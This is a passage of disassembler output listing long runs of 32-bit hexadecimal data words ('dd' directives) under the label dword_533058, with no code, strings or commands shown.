		dd 0A60F72EEh, 2030ED55h, 2B27156Dh, 0F1CF0F6h,	347B23A8h
		dd 0C640C9A0h, 5F0302EFh, 0BE9BAAC5h, 4A19F0E4h, 44F9005Bh
		dd 287229ADh, 1D00633Fh, 68615523h, 0F4A4E1B0h,	7C88C0D3h
		dd 0C014B838h, 0FB0AEE74h, 98DACEBDh, 0D1F06A03h, 55F1C026h
		dd 0F27CBBh, 95EB611Bh,	43C28592h, 0DEF35B00h, 94CE467Dh
		dd 0BB7CCAh, 0ACA32D83h, 0A4D0F0B3h, 80742600h,	529BA5DFh
		dd 0C895002Bh, 0A0189867h, 0FE0086E0h, 1D2F1476h, 99191Ch
		dd 0E1DEF1A7h, 8B08E9BEh, 0D9FCAB00h, 7FC5F9BCh, 364B5890h
		dd 7634C200h, 3C2C5F64h, 0CF077176h, 6A0D8AC1h,	8D382059h
		dd 0E942BDh, 30A151ABh,	0A09F879Ah, 94E59B02h, 80A8487Ah
		dd 703749CBh, 1E3D006Ah, 5E85B9C3h, 8F1EF8F3h, 0C9472FC7h
		dd 1FF0B3C5h, 89A4F4h, 19CF5C76h, 0AACBDC94h, 3CD13C3Ah
		dd 0E1730FDDh, 9EEB0338h, 64898876h, 802F0078h,	0B47FDD58h
		dd 0D0005EBEh, 0D95FB766h, 2CE6D10h, 39FE8B46h,	0F0871145h
		dd 2F16300Bh, 0E13EA094h, 43540009h, 0D50693F6h, 0ED72AEh
		dd 815E9C8Ch, 0DEBDA6D1h, 1BBB600Eh, 0F7C8A003h, 983729h
		dd 0C6A4AE63h, 0A531FAC5h, 0DE081700h, 0CB29C7D4h, 0E0220077h
		dd 4B488C0Ch, 0D700B7EEh, 0DC467F8Ah, 0AE8CC1Ah, 7E857D42h
		dd 41E30090h, 74CA644Ah, 5B546C00h, 0E888E762h,	3A1DECC7h
		dd 9F8081F2h, 0DD6AEC73h, 3102F12Dh, 8EFD3674h,	0B2FA6071h
		dd 8223002Bh, 2C3B492Fh, 0A1016487h, 0ADAB6547h, 7821EC9Fh
		dd 8C7DCh, 1C8F39E5h, 0E8406EF5h, 238ACE00h, 487B388Dh
		dd 0DC7F54E0h, 1F07AEEh, 0AC8B444Fh, 8E9C83D5h,	4262F449h
		dd 60FA6DB2h, 1F397BB5h, 0BDD8BF2Fh, 40EEF31Eh,	48F8667Dh
		dd 3D00E793h, 8E11C9A6h, 1CB97E50h, 0C59F43h, 8B949E67h
		dd 5F034A15h, 0CC3490CDh, 0D013D003h, 4D1A00F4h, 0F9A0C342h
		dd 60067B3h, 95F60E6Ah,	0E8F7E513h, 46EE8Eh, 0D7053201h
		dd 0A65EB288h, 0EDD83303h, 0F0137D9Ah, 0EAD942h, 787F9C50h
		dd 995A82DBh, 56AEAC00h, 0D12BB695h, 0CB740Eh, 0CA58747Ah
		dd 8DD5A53Ah, 25E24405h, 88047B4Ah, 20DCDF71h, 203B14C5h
		dd 2600A304h, 6BBFD56Ch, 0F0000201h, 8A48ECDh, 58F1A5A1h
		dd 400C6FDh, 1CC377E0h,	0D100CB89h, 4BA8DC40h, 3AA5335Ch
		dd 5B80249Ch, 0BF13A2D9h, 800A00Ch, 0B2390751h,	1C689125h
		dd 83A4B54Bh, 9A652E3h,	9398FAB8h, 0DB6E116h, 2D756B00h
		dd 24447D54h, 98626Bh, 66F1C8EDh, 29B09D72h, 152A4D07h
		dd 7DE08BCBh, 5875D96h,	0C6A22739h, 821440h, 54EEA500h
		dd 0EB7B8611h, 0F1AFCC00h, 0B743BC17h, 0C6139B8h, 0E343212h
		dd 4180BB88h, 5B6D391Ah, 56826B00h, 8693A2B8h, 34A7250h
		dd 635D8940h, 8A80ED0Bh, 4900B7ACh, 415313EAh, 4FABEA7h
		dd 4B58D3CAh, 718C90CBh, 9403DCF7h, 0A88690EBh,	0C8BDE880h
		dd 0E727009Bh, 0E4F915C1h, 0F50029EAh, 0A62E0DA7h, 0A595847h
		dd 0F75B8F3Bh, 35D00A4h, 84E8381Ch, 0AE25AC26h,	0AAE56D00h
		dd 2CCDF3Bh, 0B9F3368Ch, 0C08074C1h, 41481065h,	1D0AC500h
		dd 4919620h, 0B44200DBh, 90B07A68h, 0EF00975Bh,	615A27F4h
		dd 129C1A9Eh, 91430Bh, 0E5EACB08h, 9FEA5C5Dh, 216AA71Eh
		dd 0C26F790Fh, 40735F28h, 38BB70h, 50C61563h, 9B7C0F87h
		dd 0FAB70A07h, 0E047821Bh, 1128FCh, 64B40E43h, 0CFD790FDh
		dd 0FA838A09h, 0F48A00C9h, 1DD67674h, 0E9D1EC3h, 0C400CCFBh
		dd 4A383352h, 6A8EE601h, 47AE61D4h, 0DC72ECh, 0E5F0C757h
		dd 0E99A8B0h, 8D62E900h, 0F4D7EFB5h, 7643B834h,	0A4DF1E7Ch
		dd 0EB1D00BAh, 0E4640233h, 53A9FF1Eh, 0B2574940h, 134FDE4Ch
		dd 0BA77C61Ch, 60873B0Bh, 0F00C34FBh, 7DAD3B38h, 0D73AC58Eh
		dd 916E560Eh, 592EB00h,	0E7F8B870h, 0B5C21A00h,	1B306CD9h
		dd 0EECB047h, 0FAF35A49h, 0C06258A5h, 9C1E99ACh, 8AE26900h
		dd 319AB912h, 1CB8F6h, 22A9BD56h, 9730DCC9h, 1C794A5Ch
		dd 5B00DED6h, 0A85843A0h, 0AC72820h, 1DDB0010h,	9D8EF7CCh
		dd 0B601AE40h, 6DCB237Bh, 808072F1h, 74AA4C0h, 0ED02E53Ch
		dd 0CA4BBA82h, 0C2108312h, 2CD09D53h, 330B6C98h, 0B508C3AAh
		dd 28B729A0h, 0CA211D61h, 3981F4E1h, 0DE696F74h, 8365E8BAh
		dd 2161E800h, 7D3E12D2h, 54020053h, 0DA15C936h,	0C6F68B6Bh
		dd 0C0006876h, 14014AA1h, 607CCA92h, 0AA37510Bh, 355439EDh
		dd 5001C29Ch, 7048B81Eh, 88BA8B4Ah, 79C5116Fh, 76D50088h
		dd 0C87DF150h, 4946FD31h, 80E65DF4h, 6A96FC50h,	39C228DCh
		dd 0C7A20064h, 97A04180h, 0E50073FAh, 1C8D68BAh, 3E51B653h
		dd 55019D5Dh, 95272BF2h, 0B183DC3Eh, 0E6466101h, 873A5635h
		dd 684BF4h, 500AAF93h, 0C85A1977h, 3E0F500h, 0F29232CAh
		dd 39151FE9h, 0D94A005Bh, 63ED7DFDh, 0DA00D279h, 0B7EA38E3h
		dd 4B2E2Ch, 8528F1BCh, 24F359DEh, 5D1C38h, 962B011h, 90E14115h
		dd 0BD913DE7h, 0F32495BDh, 6E361CBDh, 927C00C4h, 969E3E4Bh
		dd 33026203h, 98E04CA1h, 0C30A97h, 393A712Ch, 7DE8C0BCh
		dd 1782005h, 0B84138E0h, 9EF31537h, 51C451D4h, 89E4947Ch
		dd 1CBC003Eh, 73A8E3E1h, 1E7A4FAEh, 0A7F1EB00h,	51EA92BDh
		dd 3C523115h, 0ABBF29h,	72F8A467h, 85C70008h, 17284CA3h
		dd 0E800FE6Fh, 2F83A268h, 71CB0820h, 0DD7E80h, 7B470986h
		dd 0F3A95C55h, 7A152303h, 0E8B85775h, 6FB59h, 21E4B65Bh
		dd 0E19C406Ah, 1C227C4Ch, 49C0B99Ah, 817936CBh,	9F240093h
		dd 0A4E2EE5Dh, 747BA2A5h, 0A33A3F02h, 40B528ECh, 2DF38C8h
		dd 0A84DB0C2h, 4440F694h, 8DA0CE22h, 0E20010F3h, 0BFF43A54h
		dd 0EAF70h
		dd 6DF556D2h, 4495D045h, 0F665B004h, 0E0C76CDEh, 0EEEF806Eh
		dd 138A83h, 3618866Ah, 4593B68Eh, 2BE3C80Eh, 728E762h
		dd 6F7DF50h, 76AF006Bh,	0EC1BA536h, 83006301h, 175044FBh
		dd 87D2EDh, 1D3A3318h, 9AE1CD9Fh, 830147F8h, 0B8A6786Eh
		dd 4AC00B68h, 9FE41EB5h, 6F130076h, 3FCBB2E3h, 430180B2h
		dd 0E81F3373h, 0C0709123h, 8459387Ah, 0B6A4BB00h, 93F6759Ah
		dd 8CDCD201h, 0DDCA04F9h, 333830h, 0D7D035A4h, 0A59A8DD9h
		dd 0A785B505h, 0C4000432h, 61E75968h, 40E917FDh, 0B3C4400Ch
		dd 778ECF60h, 0F08D5226h, 0C0DFD509h, 87330Ch, 8CC395E2h
		dd 0C6341A86h, 97A82000h, 0F9448013h, 0A796005Eh, 3D36FCE9h
		dd 0CCA8E2F6h, 2A1FA5E0h, 0CC80B5F9h, 0A0B72881h, 0D0F300F0h
		dd 6FAEBE27h, 0DD00242Fh, 0EA7321CEh, 39203D1Dh, 0A7804D51h
		dd 0DA2E9C6h, 70067F7Eh, 0A9648D25h, 28C01678h,	76C83016h
		dd 0E50125B3h, 930C50F5h, 2880B60Fh, 8EDCA2DAh,	0E309FA6Bh
		dd 6058A951h, 38F07DC8h, 25877235h, 0A17F1BCEh,	0E05F8F8Ah
		dd 0D900DEC6h, 0BE1F671Dh, 1FA98EDh, 0C4322B28h, 0F4AD7E16h
		dd 860791B4h, 0FE641446h, 0B684A02Fh, 24AF4B30h, 0FED9DCAh
		dd 718006A1h, 36674073h, 78CD842Eh, 0AB2A9300h,	1FCDCE8h
		dd 0F8BB4FB3h, 0D950D05Bh, 4D407496h, 460F04E4h, 0A032B8FCh
		dd 0A142C49Bh, 0C0270798h, 9972D5CAh, 0AA1FCC60h, 32255904h
		dd 0F9C0C999h, 416435h,	80A1BAC1h, 0EC5867EAh, 4F8F9500h
		dd 0A0B694B5h, 6BE23BA5h, 25E7D101h, 3057D958h,	1E2DD20h
		dd 66182B07h, 1760E103h, 12C4C7FEh, 0E885AFh, 0DDA7218h
		dd 31005A9Ch, 56B41E37h, 24F28221h, 0AD829C5h, 9C159Bh
		dd 697DE1F4h, 23C3972h,	8EE28044h, 3E3841EBh, 3BD700CEh
		dd 7AD0C19Fh, 0E00021BCh, 0FC910782h, 5C1E1951h, 4D3AE047h
		dd 0A25FFA00h, 8095E47Bh, 0D69ED903h, 0C8D5F0C9h, 0A430F527h
		dd 0E8EA98h, 0AEA8F620h, 0A7DF943Ch, 4D17EF74h,	0CC1D52ABh
		dd 0F33799C0h, 2D7F4DEh, 1DE812D0h, 0AC6342B1h,	82D204D0h
		dd 5B8D2300h, 0D1DE9324h, 0A1E10F6Ch, 1BA0153Fh, 327A53C1h
		dd 0E50F0D7Dh, 0C747C452h, 42F78AEFh, 1D41C691h, 0B062B9FCh
		dd 4822481Ah, 57E9FC04h, 80D780DEh, 0FB1D7485h,	7501BBBCh
		dd 641FF260h, 45EC3871h, 0FC157FD7h, 7C96B4h, 9491493Ch
		dd 0F912B741h, 6000F18Eh, 0CF65825Bh, 0B1901BFh, 0A253B85Dh
		dd 7B71C4D6h, 0EF729900h, 0F82823C6h, 17610C81h, 5010BC77h
		dd 10087B00h, 0A7FB988Eh, 0C7D0000Eh, 0BC9BF2Ah, 5C00BC5Ah
		dd 0B3D10513h, 5D7E7Ch,	0DC9EB029h, 0EBB6F8B1h,	2F15A100h
		dd 248D9F51h, 0D8C024AEh, 0DDD30170h, 28CD58E8h, 0CB910E70h
		dd 7EDEA0D1h, 31FEE1h, 13946D61h, 2E65678Dh, 1953B27h
		dd 48AC2218h, 48A74420h, 0BA84F096h, 5CB100A5h,	0CBEF20h
		dd 0FABC4AD2h, 0AB7AEC6Dh, 0F5149EFAh, 0B4AC73h, 866708F0h
		dd 6EA9A6h, 16EEC49Fh, 0FE8FA084h, 6638F400h, 0C718EFD7h
		dd 5DC9658h, 80F02351h,	0C17F0F96h, 1AD11F00h, 0A8CE5B84h
		dd 7BE714E9h, 9D01E44Bh, 269C3054h, 0FE4FC4E1h,	8432331Dh
		dd 0F2D1B00h, 914E13h, 0DD2E1928h, 5B4BE5A0h, 21B82B0Fh
		dd 23336F7Ch, 0E62474h,	3A73ADD1h, 54A72E9h, 827C51E0h
		dd 24146312h, 9706C412h, 2488B2B0h, 1732E0F0h, 0D004977h
		dd 0AD4C7A81h, 0D5F7C8F9h, 7AD1AB0Ah, 0B11CF12Fh, 36059742h
		dd 6547852h, 34FB7DDFh,	2000213Dh, 4F2BFAA0h, 2EE79FCh
		dd 0C2645A23h, 0BCE81306h, 0F42E8B9Ch, 5303DCF9h, 0F678626h
		dd 0B7CC218h, 11B02A06h, 44FF6C40h, 1BF0D423h, 0F1C4811Fh
		dd 0A5C1E6C0h, 260CDAh,	2A5AABCFh, 3CCAE544h, 804B7C94h
		dd 0B0E6F434h, 0FDEF0092h, 0F1529D9Ah, 0F74AC8ABh, 8BFE1847h
		dd 6E0685Dh, 0EDE5000Ch, 1925BADh, 14A0B4D7h, 0EF5C55A6h
		dd 47C50778h, 659030D6h, 1FCE4581h, 804438A9h, 0FD0DBA27h
		dd 7E007897h, 52FE3D1Ch, 3ACA8C6Ch, 0DD80468Fh,	87A73CD3h
		dd 0D00C2B9h, 29E4D2D6h, 1EC675B5h, 4E8C7226h, 8940F7D7h
		dd 55E03B82h, 47A58B00h, 207A676Ch, 1AC40091h, 18CBEDA8h
		dd 7D079492h, 650F7007h, 803733C2h, 0CDC640B8h,	59050089h
		dd 0C4795FF9h, 0D006FCFh, 453EF802h, 0B872E7h, 561B201Ah
		dd 0E4904D07h, 3E97B3Dh, 74111312h, 7EBF9002h, 0F37603B5h
		dd 1428D6B8h, 6C84C0C8h, 621FF00h, 0AD717A1Bh, 970F0089h
		dd 1A5F0A79h, 10C059CAh, 76FF2C46h, 0E55B00CEh,	381942D2h
		dd 0EC1DDA27h, 0D5C71689h, 0E680292Ah, 9B40F7h,	4DB7705Dh
		dd 0A48C1D9Ch, 0EA07C712h, 0A08F6C0Fh, 0B92713D9h, 7F64E67Fh
		dd 310A0015h, 0C36F4F56h, 0DB004365h, 0CA78C4EEh, 0E2570EC0h
		dd 0A28A00BFh, 2FF84D91h, 3800C767h, 5A8CE520h,	1D451BA7h
		dd 4496FA65h, 808D553Dh, 9DCF3E49h, 0F27F6C12h,	6986CB07h
		dd 838E1680h, 4D75031Ch, 4AE7B69Ah, 0BCBFA816h,	1E3D6D03h
		dd 0D510883Ch, 0FABE0074h, 389533A8h, 221DAFFDh, 906CB642h
		dd 2DE9488h, 0F6AC6189h, 0D90988C0h, 6D8FEC1Ch,	5D283980h
		dd 0B26886B9h, 0D24B09D0h, 0E4AFB82Fh, 2D605460h, 0AD0B8FDFh
		dd 27AC4A56h, 81A0493Ch, 1B1469h, 6D8AD337h, 3654167Bh
		dd 0D4651A00h, 38A08D7Ah, 0B0107BBh, 0E03750C0h, 0B633B4B3h
		dd 0BCF7D500h, 4A69D059h, 32102E21h, 0F220F3Fh,	0DB565160h
		dd 2301DD1Ch, 0D4A9A508h, 66F86E24h, 0E44E7033h, 565500E1h
		dd 0E9525C3Bh, 20E97EBAh, 4400B189h, 14D8628Ch,	30B4FF59h
		dd 2340A830h, 0ACA0BD32h, 8700AF64h, 849FB3B0h,	71726Fh
		dd 80B14FE6h, 90B874F6h, 46163200h, 577B2703h, 34300087h
		dd 0DBDF718Eh, 0E619B6CCh, 23B0E5E2h, 0FAD34881h, 304FB252h
		dd 541C5648h, 85008B17h, 0EEB9A275h, 7874F7h, 10886C44h
		dd 14903801h, 0C3831A02h, 421DB845h, 4001414Bh,	28F639C8h
		dd 138392C0h, 1F9B958Ah, 0EEF15886h, 3B30DE56h,	621830FCh
		dd 0CA1200DCh, 0D328C1A1h, 2A1C5D54h, 394087ADh, 30868372h
		dd 0E90C00B9h, 639F3E92h, 2308DCAh, 12116824h, 6B69075Eh
		dd 16DB50Eh, 70EE6A8Eh,	511F5713h, 83F85AE7h, 444B03F3h
		dd 4F84A80Ch, 49D10153h, 8E6EA424h, 0A08447AFh,	0D6EEC357h
		dd 0B4C657h, 0A5F7057Eh, 0C322A63Bh, 0E36F0E78h, 0F4DF57B1h
		dd 33185E25h, 3B80669h,	0C7F883Ah, 4358D701h, 0BBFD6389h
		dd 0A02BF4h, 25EAD421h,	8DF40285h, 3FB85A00h, 0A4304553h
		dd 0A7831F6Bh, 70400A5h, 98BCEB3Bh, 171B4800h, 0AA90FF55h
		dd 0F9C900ACh, 0FC7B42B8h, 0B4059E8Bh, 0DA7DEFB9h, 4FF3B400h
		dd 0EC4ADF6h, 3ED14D9Fh, 0CD81B320h, 0A1A06045h, 98122A24h
		dd 0A00FBA5h, 6F4384EEh, 0E83E3AB7h, 429F0501h,	0E830DA07h
		dd 821D68C7h, 0CC0F06BCh, 70EDC0F8h, 45850Ch, 9D5BBF5Ah
		dd 4FEC08EEh, 2536EF0Ch, 3A857055h, 0EB00BA67h,	0A7A80963h
		dd 1501B03Ch, 0FFD1AEF4h, 9440DAD0h, 0E449A134h, 7F1F0274h
		dd 47103DF7h, 66C3F840h, 1326F31Ch, 6E638C80h, 0E944DCFh
		dd 1CA5222Ah, 0C520E5E0h, 7B03F608h, 0D5639246h, 3FE1E8D2h
		dd 0F8580041h, 1F9A22C0h, 9200D004h, 2E3D5A72h,	30340237h
		dd 46808813h, 0D03519Ch, 7EBE16CBh, 150A9065h, 9120A66h
		dd 9CFCDFD7h, 10A6C11h,	0A0619CCDh, 87B9F3E0h, 0B46820E7h
		dd 0A8517800h, 1409C319h
dword_533058	dd 0BE080098h, 9715A3CAh, 7302B787h, 0A210B9E1h, 2C3AE0CFh
		dd 70EF031Bh, 7FCA54FAh, 36B41102h, 48B9945Fh, 0D5A224h
		dd 7ECA2334h, 8CD0C929h, 82E58800h, 47BB99C5h, 1D090124h
		dd 0D623866Ch, 7E79EC8Fh, 49DF1900h, 0CD183482h, 9260751h
		dd 30FCB34Ch, 472CB2C2h, 3C014890h, 0E67B5FABh,	1DFC2A73h
		dd 0DE190068h, 0A0CEBA16h, 82009E8Ah, 1786076Ch, 0CD76DAh
		dd 0EB3CCB1Eh, 46A06F04h, 949E6200h, 210DC69Fh,	0A67F0192h
		dd 56884796h, 0DDF36059h, 143CF4FFh, 0CC007D7Fh, 0FAAB3C4h
		dd 0E669A47Bh, 8EB800ADh, 155F8D99h, 6500A702h,	43B34B60h
		dd 5C1F72Dh, 0A152649Eh, 40EC1C48h, 0EC1590E8h,	3C018CCBh
		dd 0FBE9359Ah, 64F46BDBh, 0F5DE01DCh, 3F40ADA9h, 0C510CC1Dh
		dd 4B244200h, 9FB0ACDAh, 0F5481364h, 78EC00ABh,	0B8D4402Bh
		dd 8500A3EAh, 12C71BDEh, 13FD05D8h, 3B8819h, 987F2D7Ah
		dd 7700FCE0h, 545F9E91h, 0D771F3h, 845C6DD0h, 0FADE0844h
		dd 0DF515E03h, 0C86C1F14h, 1F3EC517h, 0C0DDE52Bh, 499EF248h
		dd 0A800A585h, 0B445A94Dh, 4823EB1h, 26D40CF4h,	10008734h
		dd 0CC9DB275h, 0D63DD31Dh, 0EBCAB9C2h, 8D0BE0EAh, 0A8F46Ah
		dd 4685E2Fh, 76D3F062h,	0EE005198h, 77B68FF5h, 33DA6Ah
		dd 0B5902355h, 351480D9h, 0E621F860h, 0B03C157Dh, 0FB960050h
		dd 66E75EE4h, 141E5CFAh, 39C07325h, 0A2567F31h,	335E2D3h
		dd 744AA76Fh, 18F67C24h, 40016FB0h, 1C4C3023h, 64DC110Eh
		dd 16DEC93h, 0B9D6E034h, 8C3092A4h, 20FE0DD8h, 0A35E801Bh
		dd 78CFE9E8h, 7C4092FCh, 75926BB3h, 71B70E36h, 0C818FAFh
		dd 0F45E40FDh, 0B100061Ch, 56BE4F20h, 4CC46F98h, 5C1D337Dh
		dd 0DF948FE1h, 36F74080h, 44F8ACA3h, 6D65060Fh,	883880DAh
		dd 6688D08h, 6333F5AFh,	62860B1h, 0E31840B5h, 87B15F38h
		dd 4EE93AF9h, 0DF0850h,	616F66C1h, 5AA9C7BEh, 77DB40Ah
		dd 9D9060B3h, 71B8A601h, 94B72FB1h, 2A985A70h, 0A900F0F6h
		dd 2DD8E0FAh, 4030A0h, 618F927Ch, 0D5DCB150h, 875DA00h
		dd 81F5295Ah, 35A600E6h, 76ECA842h, 9B00A2DCh, 3CB9990Bh
		dd 0E2B105B5h, 46F10041h, 11FCA1D9h, 0EB001A85h, 845FFA20h
		dd 3FB157C1h, 0AA92A961h, 0BB720086h, 9067634Dh, 0FA58E207h
		dd 5483B922h, 0C25792B0h, 11638339h, 21D90335h,	85D565E8h
		dd 0E46104B0h, 8CB07E2Ah, 713CF200h, 849EB210h,	0EE74C8h
		dd 0B3484CB7h, 61B696B9h, 3E83330Ah, 6380801Eh,	38DBCBB8h
		dd 7AF60A81h, 1CAD1C45h, 71A40EBh, 0A2193CB6h, 56719600h
		dd 0DFFAA770h, 21EA9Ah,	0FCADB223h, 8AFEE0E9h, 0EDC07500h
		dd 5A747A89h, 7057611h,	81986E1h, 0A07C87FBh, 0DC800B5Bh
		dd 56731303h, 0B3BEBF45h, 9640B7FFh, 1FAC0307h,	0CC40E283h
		dd 0D9D88DE1h, 0E547E700h, 0A4AFB1EBh, 0D80D038Fh, 275A6040h
		dd 0F8A04AE9h, 3D1D7C57h, 5C00B879h, 2F0F97FDh,	168B040h
		dd 0B3419624h, 70829304h, 8A7D3A57h, 0D4BB5701h, 425D2310h
		dd 928029B8h, 89B9CEE9h, 0C11DD236h, 520C3751h,	37F200Dh
		dd 5932E9A1h, 36C02360h, 4A003784h, 0D64834AAh,	3B82A293h
		dd 0B0806ED0h, 0E2A9148Ah, 0E06DE18h, 27D6BB58h, 78331848h
		dd 7E104029h, 0CE033900h, 5146C69Bh, 2419C71Dh,	5A9E41E0h
		dd 76118795h, 3EC0D186h, 33177477h, 0D008874Fh,	99042100h
		dd 0CB5F25BAh, 0CC202461h, 86AE1EABh, 501D543Ah, 83029746h
		dd 7F3E6FD1h, 0F10C931h, 5100D191h, 76C67A33h, 0A648F94h
		dd 4CB24A0Ah, 0E4630FA0h, 2ACBD4Ah, 0F8610B35h,	17B53307h
		dd 834F700Fh, 0C0D9E6CEh, 60FA8E0Dh, 0FB39E84Ah, 6B1EE82Eh
		dd 44C0D05Dh, 7D2AF0F2h, 0DE1A01E1h, 31DDA5CBh,	84CC205Ah
		dd 809DEA3Dh, 12764895h, 6D9F72h, 0BCA771C9h, 456C506Fh
		dd 80698F39h, 2CA30E2Ah, 184F90h, 0DAD3593Ah, 0A189D5D1h
		dd 42218B0Fh, 7593E0B1h, 1E196E57h, 80D16D4Fh, 0C3D6D564h
		dd 0AC005B92h, 3A35ADD2h, 0B24660h, 1E212F42h, 0D89961E5h
		dd 558A9FA0h, 12A21517h, 0E94FA900h, 1C889329h,	0CB6DDDEBh
		dd 0BFF2h, 0F8CED3BBh, 30ED0B00h, 8165752Ah, 7C4A3823h
		dd 0A24FD100h, 0F0BB660Eh, 0C401C03h, 11C724EDh, 115FFF29h
		dd 0AC11CD4Eh, 28461116h, 7E280B28h, 0A80D40BDh, 88714A1h
		dd 0BFB28867h, 4673F903h, 88195288h, 38D87CDh, 1A22433Dh
		dd 9CE9CE14h, 9349D43Bh, 80E45B38h, 222F8FE0h, 1F0E7C7h
		dd 96986208h, 0ECA44A54h, 3248889Fh, 281B2E3Eh,	86E4CF00h
		dd 4EAE61h, 0F467D47Eh,	8CD64640h, 2F0D1F4h, 0A384300h
		dd 0F6ABAF8Fh, 3F2C000Fh, 1DE3B9CBh, 19008BADh,	6877DDCEh
		dd 3A47512Bh, 9106E236h, 385C817Fh, 0CF4EA800h,	0EE01C2Fh
		dd 2CFC005Bh, 411D0338h, 4DEA6C27h, 9748F600h, 0ED3306B0h
		dd 0A3E900DFh, 8F547899h, 0D8E4A530h, 94004AE8h, 92BF935Fh
		dd 1E1C276Dh, 40FAEFA1h, 17E51140h, 0D92CBB6Ch,	5C80E76Ah
		dd 4B664419h, 0E6900DDh, 8877DCAh, 0F40040D4h, 73152F9Ah
		dd 1C351FA2h, 650CAFh, 18796A3Ch, 0A190056Ch, 0BF340C0h
		dd 0CA21F5h, 0EBD99E88h, 3264E1BFh, 0BBB6D306h,	0F07859EDh
		dd 0D00A1F6Fh, 8410402Ah, 0DD39A4FDh, 741E4Ch, 1680A3D5h
		dd 0B902BBh, 0C0DBF04Fh, 0BA68285Dh, 49096F00h,	9AA521C7h
		dd 7BD51C01h, 0BDF91D6Ah, 2F11798Fh, 808885h, 25A30DF6h
		dd 2A039C82h, 0FBF58DA0h, 0F3ABC321h, 7636C08Fh, 0F63F000Ch
		dd 47BA8B45h, 70B0BCC6h, 194A7D03h, 3D486F5h, 26EB0C10h
		dd 16E0564Fh, 8C00AB5Ah, 0A57D17A3h, 3A8799Ch, 0F2C78DCFh
		dd 0BA9DA0Ch, 82D3C8BBh, 0A120A200h, 0EEE2E10h,	0BE590036h
		dd 0F517C4B1h, 0AB01FB32h, 7A023FFCh, 0B020DF91h, 5A9F17BEh
		dd 922300C8h, 0C48D5518h, 6882DA00h, 9AF0A0A2h,	0C5DB1DD7h
		dd 0E434039h, 0E2A7D817h, 3E30DC03h, 0BC0BDAh, 0BF8012BEh
		dd 0C7AF36DDh, 0D1E97000h, 0D0A4C9B7h, 479066h,	0DBE1DF9Ah
		dd 0ECA94892h, 980A39B8h, 0DC61219Bh, 0F1E8C851h, 1F68717Eh
		dd 696643h, 484E9CC2h, 167D087Dh, 0A2EAD309h, 97D90390h
		dd 29FF14h, 755C2F18h, 4172EEh,	0CC6E7FD9h, 0FF26FD2h
		dd 0CA12E872h, 684723AEh, 50C742A8h, 0F5824040h, 267C03h
		dd 75F9B2Ah, 0CE5FEF4h,	73413805h, 0ECC0CEC7h, 70425E87h
		dd 1EB50081h, 71913D7Ah, 5D00DE24h, 2047D08Fh, 0D3CA28h
		dd 0EDFF4CBCh, 9C9BEE43h, 800F443Ah, 0A4F5224h,	8AD62Dh
		dd 0ABA6D184h, 0B5E43BC4h, 4E0336F2h, 0F3FDEC67h, 0EACD814Fh
		dd 0CFBF60h, 71C7254Ah,	33EB5BD0h, 3DD1721Fh, 0DB04A740h
		dd 805790h, 4A42314Dh, 82CE290Fh, 9F585200h, 540DCFACh
		dd 60908Ch, 7FE42505h, 0ED41A998h, 81715239h, 43376C8Fh
		dd 0EC30130Ah, 9B6D1D94h, 4DDF50h, 77744C0h, 6C0E1531h
		dd 0A096EC8Eh, 0C38771BDh, 610609CBh, 24006030h, 44E6E526h
		dd 9974E900h, 6C7A7C80h, 0D5CD00EDh, 64F56DEBh,	20FF303Eh
		dd 0A02B58Ah, 0CFA534FCh, 0A88280B1h, 0AAD867h,	2ACCDA3Ch
		dd 708D22DDh, 81FFF43Fh, 231176DEh, 95E104A0h, 475A5280h
		dd 5F5BD8E6h, 59FA1200h, 0CA705334h, 0D60A00CDh, 480E9BEDh
		dd 2EB85189h, 83F01339h, 1DB993E4h, 3480FC54h, 4391Bh
		dd 64C6AE16h, 0F4A05C4Ah, 0E63240C3h, 0B815AB71h, 1F6E1Eh
		dd 0F010B17Eh, 0ABAD4DB5h
		dd 0DE4FA60Ch, 7759C0B8h, 6257071Ch, 99F61729h,	21732580h
		dd 2008F7Dh, 859CA34Ah,	51DF83Ch, 0CB179712h, 78DE06EDh
		dd 0FA007C68h, 23C03056h, 78D7189h, 0E828D90Eh,	8C249055h
		dd 0B30033C9h, 95F79E67h, 16D54h, 437D7C2Dh, 0FFFA726Fh
		dd 42151D00h, 84161FA4h, 78546093h, 0B3430811h,	0D5C6CF00h
		dd 0B675F964h, 0CE18008Bh, 999CB702h, 0B4078F27h, 0AF489AB9h
		dd 1AF79070h, 0DF440FBEh, 0ED40C62Eh, 0DD66AC7h, 0FFFC3E00h
		dd 11E3C3FAh, 44D0AF0h,	29CE0DEh, 0C7EC4A44h, 938A5F60h
		dd 1C00E8DFh, 5B83D9AEh, 613313F5h, 80BD1D42h, 7ED84018h
		dd 457F79B2h, 0BC002890h, 2BAFCB47h, 2834D29Ah,	0E801CFh
		dd 0C22844D0h, 58DF36A7h, 61E76F1Fh, 0C7BA640h,	5D30E2h
		dd 63B5EF6Dh, 335E57A4h, 0AFBE0700h, 1FFA7A42h,	244F25D2h
		dd 20019C54h, 2C43CC18h, 0FB3BE0h, 0D6E32E79h, 1EEC59F3h
		dd 38CE351Dh, 170AC240h, 7DDB6A45h, 288003DCh, 4E8C66A8h
		dd 0E9CC1AD8h, 8AB3D700h, 814070EBh, 2DDB00C6h,	3378029Eh
		dd 0B5005D92h, 0AE0D0607h, 3B61B366h, 0F300575Bh, 0BE2A2236h
		dd 0A7003D7Dh, 0CB72F50Dh, 0AF2075h, 1CA3DFD9h,	9A9D6108h
		dd 7B792C1Dh, 8983FFC0h, 0AA84A10h, 0E3E4BD8Dh,	2E8A00BCh
		dd 0BAA53602h, 4804Ch, 0B758FFCCh, 0BB588AFh, 59FEBB87h
		dd 1C830Fh, 3D033613h, 8D005DDAh, 0D221EF2Ch, 0F06971FFh
		dd 5A5200ADh, 38F99136h, 5B0075DCh, 2AEBCE74h, 8DEED2h
		dd 62B64E72h, 9983ABD6h, 66049C00h, 7CEC5CE8h, 6EC40F0Ch
		dd 17C061C1h, 56079AB6h, 48A11600h, 0A4031C90h,	0ED43006Fh
		dd 0AEE8085Dh, 70FE9BF8h, 72C74B07h, 22831552h,	0FD96A9B2h
		dd 241DF1D4h, 9C0F5FBh,	7C21C4ADh, 0E02E924Eh, 0B700B3A0h
		dd 0A9A28A28h, 0F93ACBh, 75440672h, 62BE1978h, 0DA6B7F00h
		dd 0F2D2175Bh, 95A70003h, 0B89885F5h, 823F8379h, 9CA40042h
		dd 7BCAAA41h, 48F07F23h, 0DB8918F5h, 9D18A00Ah,	803466C3h
		dd 0C0DF6D80h, 0E41FCADCh, 5580E0C2h, 0D5BC45E1h, 0C57AB0h
		dd 0DEF65C05h, 0CD646AEFh, 0EC4BA301h, 0FB25C18Ah, 13074889h
